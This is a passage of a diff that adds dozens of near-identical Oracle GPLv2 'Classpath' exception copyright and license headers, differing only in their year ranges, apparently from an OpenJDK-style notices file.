+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1997, 2004, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1997, 2005, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1997, 2006, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1997, 2007, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1997, 2008, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1997, 2009, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1997, 2010, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1997, 2011, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1997, 2012, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1997, 2013, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1997, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1998, 2001, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1998, 2002, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1998, 2003, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1998, 2004, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1998, 2005, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1998, 2006, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1998, 2007, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1998, 2008, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1998, 2009, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1998, 2010, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1998, 2011, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1998, 2012, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1998, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1999, 2000, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1999, 2001, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1999, 2002, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1999, 2003, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1999, 2004, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1999, 2005, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
